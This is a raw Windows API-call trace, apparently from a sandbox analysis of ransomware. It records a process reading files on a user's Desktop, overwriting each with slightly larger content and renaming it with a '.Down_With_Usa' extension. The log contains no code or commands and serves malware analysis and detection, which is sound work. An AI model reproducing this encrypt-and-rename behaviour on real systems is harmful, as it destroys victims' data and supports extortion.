[0112.162] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DhM_7QwBM.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dhm_7qwbm.avi"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a295b20, ftCreationTime.dwHighDateTime=0x1d5dbdb, ftLastAccessTime.dwLowDateTime=0xce0d62f0, ftLastAccessTime.dwHighDateTime=0x1d5e1bd, ftLastWriteTime.dwLowDateTime=0x1f5e0640, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x5380)) returned 1
[0112.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0112.162] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DhM_7QwBM.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dhm_7qwbm.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DhM_7QwBM.avi.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dhm_7qwbm.avi.down_with_usa")) returned 1
[0112.164] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\elq1cNIsT.pdf", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\elq1cNIsT.pdf", lpFilePart=0x0) returned 0x33
[0112.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0112.164] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\elq1cNIsT.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\elq1cnist.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.165] GetFileType (hFile=0x3a0) returned 0x1
[0112.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0112.165] GetFileType (hFile=0x3a0) returned 0x1
[0112.165] GetFileSize (in: hFile=0x3a0, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x1880d
[0112.166] ReadFile (in: hFile=0x3a0, lpBuffer=0x13e93018, nNumberOfBytesToRead=0x1880d, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x13e93018*, lpNumberOfBytesRead=0x2ebe58*=0x1880d, lpOverlapped=0x0) returned 1
[0112.170] CloseHandle (hObject=0x3a0) returned 1
[0112.213] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\elq1cNIsT.pdf", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\elq1cNIsT.pdf", lpFilePart=0x0) returned 0x33
[0112.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0112.214] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\elq1cNIsT.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\elq1cnist.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.217] GetFileType (hFile=0x3a0) returned 0x1
[0112.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0112.217] GetFileType (hFile=0x3a0) returned 0x1
[0112.217] WriteFile (in: hFile=0x3a0, lpBuffer=0x13f0d908*, nNumberOfBytesToWrite=0x18810, lpNumberOfBytesWritten=0x2ebec8, lpOverlapped=0x0 | out: lpBuffer=0x13f0d908*, lpNumberOfBytesWritten=0x2ebec8*=0x18810, lpOverlapped=0x0) returned 1
[0112.220] CloseHandle (hObject=0x3a0) returned 1
[0112.224] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\elq1cNIsT.pdf", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\elq1cNIsT.pdf", lpFilePart=0x0) returned 0x33
[0112.224] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\elq1cNIsT.pdf.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\elq1cNIsT.pdf.Down_With_Usa", lpFilePart=0x0) returned 0x41
[0112.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0112.224] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\elq1cNIsT.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\elq1cnist.pdf"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa153c500, ftCreationTime.dwHighDateTime=0x1d5e1f0, ftLastAccessTime.dwLowDateTime=0xac901d80, ftLastAccessTime.dwHighDateTime=0x1d5dca8, ftLastWriteTime.dwLowDateTime=0x1f69ed20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x18810)) returned 1
[0112.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0112.225] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\elq1cNIsT.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\elq1cnist.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\elq1cNIsT.pdf.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\elq1cnist.pdf.down_with_usa")) returned 1
[0112.227] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ErnNouUqEe1_z.rtf", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ErnNouUqEe1_z.rtf", lpFilePart=0x0) returned 0x37
[0112.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0112.227] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ErnNouUqEe1_z.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ernnouuqee1_z.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.227] GetFileType (hFile=0x3a0) returned 0x1
[0112.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0112.227] GetFileType (hFile=0x3a0) returned 0x1
[0112.227] GetFileSize (in: hFile=0x3a0, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x13151
[0112.227] ReadFile (in: hFile=0x3a0, lpBuffer=0x273e9b0, nNumberOfBytesToRead=0x13151, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x273e9b0*, lpNumberOfBytesRead=0x2ebe58*=0x13151, lpOverlapped=0x0) returned 1
[0112.229] CloseHandle (hObject=0x3a0) returned 1
[0112.269] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ErnNouUqEe1_z.rtf", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ErnNouUqEe1_z.rtf", lpFilePart=0x0) returned 0x37
[0112.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0112.269] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ErnNouUqEe1_z.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ernnouuqee1_z.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.272] GetFileType (hFile=0x3a0) returned 0x1
[0112.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0112.272] GetFileType (hFile=0x3a0) returned 0x1
[0112.272] WriteFile (in: hFile=0x3a0, lpBuffer=0x26711d0*, nNumberOfBytesToWrite=0x13160, lpNumberOfBytesWritten=0x2ebec8, lpOverlapped=0x0 | out: lpBuffer=0x26711d0*, lpNumberOfBytesWritten=0x2ebec8*=0x13160, lpOverlapped=0x0) returned 1
[0112.275] CloseHandle (hObject=0x3a0) returned 1
[0112.307] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ErnNouUqEe1_z.rtf", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ErnNouUqEe1_z.rtf", lpFilePart=0x0) returned 0x37
[0112.307] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ErnNouUqEe1_z.rtf.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ErnNouUqEe1_z.rtf.Down_With_Usa", lpFilePart=0x0) returned 0x45
[0112.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0112.308] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ErnNouUqEe1_z.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ernnouuqee1_z.rtf"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe8a230, ftCreationTime.dwHighDateTime=0x1d5e24b, ftLastAccessTime.dwLowDateTime=0x4d61fd80, ftLastAccessTime.dwHighDateTime=0x1d5da3f, ftLastWriteTime.dwLowDateTime=0x1f75d400, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x13160)) returned 1
[0112.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0112.308] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ErnNouUqEe1_z.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ernnouuqee1_z.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ErnNouUqEe1_z.rtf.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ernnouuqee1_z.rtf.down_with_usa")) returned 1
[0112.310] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FiPz.ppt", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FiPz.ppt", lpFilePart=0x0) returned 0x2e
[0112.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0112.310] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FiPz.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fipz.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.310] GetFileType (hFile=0x3a0) returned 0x1
[0112.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0112.310] GetFileType (hFile=0x3a0) returned 0x1
[0112.310] GetFileSize (in: hFile=0x3a0, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x126ec
[0112.310] ReadFile (in: hFile=0x3a0, lpBuffer=0x26848a0, nNumberOfBytesToRead=0x126ec, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x26848a0*, lpNumberOfBytesRead=0x2ebe58*=0x126ec, lpOverlapped=0x0) returned 1
[0112.312] CloseHandle (hObject=0x3a0) returned 1
[0112.346] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FiPz.ppt", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FiPz.ppt", lpFilePart=0x0) returned 0x2e
[0112.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0112.346] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FiPz.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fipz.ppt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.348] GetFileType (hFile=0x3a0) returned 0x1
[0112.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0112.348] GetFileType (hFile=0x3a0) returned 0x1
[0112.348] WriteFile (in: hFile=0x3a0, lpBuffer=0x27a7648*, nNumberOfBytesToWrite=0x126f0, lpNumberOfBytesWritten=0x2ebec8, lpOverlapped=0x0 | out: lpBuffer=0x27a7648*, lpNumberOfBytesWritten=0x2ebec8*=0x126f0, lpOverlapped=0x0) returned 1
[0112.351] CloseHandle (hObject=0x3a0) returned 1
[0112.356] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FiPz.ppt", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FiPz.ppt", lpFilePart=0x0) returned 0x2e
[0112.356] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FiPz.ppt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FiPz.ppt.Down_With_Usa", lpFilePart=0x0) returned 0x3c
[0112.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0112.356] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FiPz.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fipz.ppt"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95bd5050, ftCreationTime.dwHighDateTime=0x1d5dfbe, ftLastAccessTime.dwLowDateTime=0xcfb8c700, ftLastAccessTime.dwHighDateTime=0x1d5df62, ftLastWriteTime.dwLowDateTime=0x1f7cf820, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x126f0)) returned 1
[0112.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0112.356] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FiPz.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fipz.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FiPz.ppt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fipz.ppt.down_with_usa")) returned 1
[0112.358] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m6pr0CPgtqV6i.mp4", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m6pr0CPgtqV6i.mp4", lpFilePart=0x0) returned 0x37
[0112.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0112.358] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m6pr0CPgtqV6i.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m6pr0cpgtqv6i.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.358] GetFileType (hFile=0x3a0) returned 0x1
[0112.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0112.358] GetFileType (hFile=0x3a0) returned 0x1
[0112.358] GetFileSize (in: hFile=0x3a0, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x11721
[0112.359] ReadFile (in: hFile=0x3a0, lpBuffer=0x27ba278, nNumberOfBytesToRead=0x11721, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x27ba278*, lpNumberOfBytesRead=0x2ebe58*=0x11721, lpOverlapped=0x0) returned 1
[0112.360] CloseHandle (hObject=0x3a0) returned 1
[0112.420] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m6pr0CPgtqV6i.mp4", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m6pr0CPgtqV6i.mp4", lpFilePart=0x0) returned 0x37
[0112.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0112.420] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m6pr0CPgtqV6i.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m6pr0cpgtqv6i.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.424] GetFileType (hFile=0x3a0) returned 0x1
[0112.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0112.424] GetFileType (hFile=0x3a0) returned 0x1
[0112.424] WriteFile (in: hFile=0x3a0, lpBuffer=0x28d9e48*, nNumberOfBytesToWrite=0x11730, lpNumberOfBytesWritten=0x2ebec8, lpOverlapped=0x0 | out: lpBuffer=0x28d9e48*, lpNumberOfBytesWritten=0x2ebec8*=0x11730, lpOverlapped=0x0) returned 1
[0112.426] CloseHandle (hObject=0x3a0) returned 1
[0112.432] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m6pr0CPgtqV6i.mp4", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m6pr0CPgtqV6i.mp4", lpFilePart=0x0) returned 0x37
[0112.432] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m6pr0CPgtqV6i.mp4.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m6pr0CPgtqV6i.mp4.Down_With_Usa", lpFilePart=0x0) returned 0x45
[0112.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0112.432] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m6pr0CPgtqV6i.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m6pr0cpgtqv6i.mp4"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd28334a0, ftCreationTime.dwHighDateTime=0x1d5d7ee, ftLastAccessTime.dwLowDateTime=0x7a3aef50, ftLastAccessTime.dwHighDateTime=0x1d5db35, ftLastWriteTime.dwLowDateTime=0x1f88df00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x11730)) returned 1
[0112.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0112.432] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m6pr0CPgtqV6i.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m6pr0cpgtqv6i.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m6pr0CPgtqV6i.mp4.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m6pr0cpgtqv6i.mp4.down_with_usa")) returned 1
[0112.434] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mlh-EH2DWsH-3y_WaK.flv", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mlh-EH2DWsH-3y_WaK.flv", lpFilePart=0x0) returned 0x3c
[0112.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0112.434] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mlh-EH2DWsH-3y_WaK.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mlh-eh2dwsh-3y_wak.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.434] GetFileType (hFile=0x3a0) returned 0x1
[0112.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0112.434] GetFileType (hFile=0x3a0) returned 0x1
[0112.434] GetFileSize (in: hFile=0x3a0, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x3cb7
[0112.439] ReadFile (in: hFile=0x3a0, lpBuffer=0x26184d0, nNumberOfBytesToRead=0x3cb7, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x26184d0*, lpNumberOfBytesRead=0x2ebe58*=0x3cb7, lpOverlapped=0x0) returned 1
[0112.440] CloseHandle (hObject=0x3a0) returned 1
[0112.468] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mlh-EH2DWsH-3y_WaK.flv", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mlh-EH2DWsH-3y_WaK.flv", lpFilePart=0x0) returned 0x3c
[0112.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0112.468] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mlh-EH2DWsH-3y_WaK.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mlh-eh2dwsh-3y_wak.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.471] GetFileType (hFile=0x3a0) returned 0x1
[0112.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0112.471] GetFileType (hFile=0x3a0) returned 0x1
[0112.471] WriteFile (in: hFile=0x3a0, lpBuffer=0x2716d60*, nNumberOfBytesToWrite=0x3cc0, lpNumberOfBytesWritten=0x2ebec8, lpOverlapped=0x0 | out: lpBuffer=0x2716d60*, lpNumberOfBytesWritten=0x2ebec8*=0x3cc0, lpOverlapped=0x0) returned 1
[0112.473] CloseHandle (hObject=0x3a0) returned 1
[0112.476] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mlh-EH2DWsH-3y_WaK.flv", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mlh-EH2DWsH-3y_WaK.flv", lpFilePart=0x0) returned 0x3c
[0112.476] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mlh-EH2DWsH-3y_WaK.flv.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mlh-EH2DWsH-3y_WaK.flv.Down_With_Usa", lpFilePart=0x0) returned 0x4a
[0112.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0112.476] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mlh-EH2DWsH-3y_WaK.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mlh-eh2dwsh-3y_wak.flv"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65eb98d0, ftCreationTime.dwHighDateTime=0x1d5da52, ftLastAccessTime.dwLowDateTime=0xa66b1f20, ftLastAccessTime.dwHighDateTime=0x1d5e45c, ftLastWriteTime.dwLowDateTime=0x1f900320, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3cc0)) returned 1
[0112.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0112.476] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mlh-EH2DWsH-3y_WaK.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mlh-eh2dwsh-3y_wak.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mlh-EH2DWsH-3y_WaK.flv.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mlh-eh2dwsh-3y_wak.flv.down_with_usa")) returned 1
[0112.478] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n4T6IDvbZzl.jpg", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n4T6IDvbZzl.jpg", lpFilePart=0x0) returned 0x35
[0112.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0112.478] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n4T6IDvbZzl.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n4t6idvbzzl.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.478] GetFileType (hFile=0x3a0) returned 0x1
[0112.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0112.478] GetFileType (hFile=0x3a0) returned 0x1
[0112.478] GetFileSize (in: hFile=0x3a0, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x22ee
[0112.478] ReadFile (in: hFile=0x3a0, lpBuffer=0x271afe0, nNumberOfBytesToRead=0x22ee, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x271afe0*, lpNumberOfBytesRead=0x2ebe58*=0x22ee, lpOverlapped=0x0) returned 1
[0112.480] CloseHandle (hObject=0x3a0) returned 1
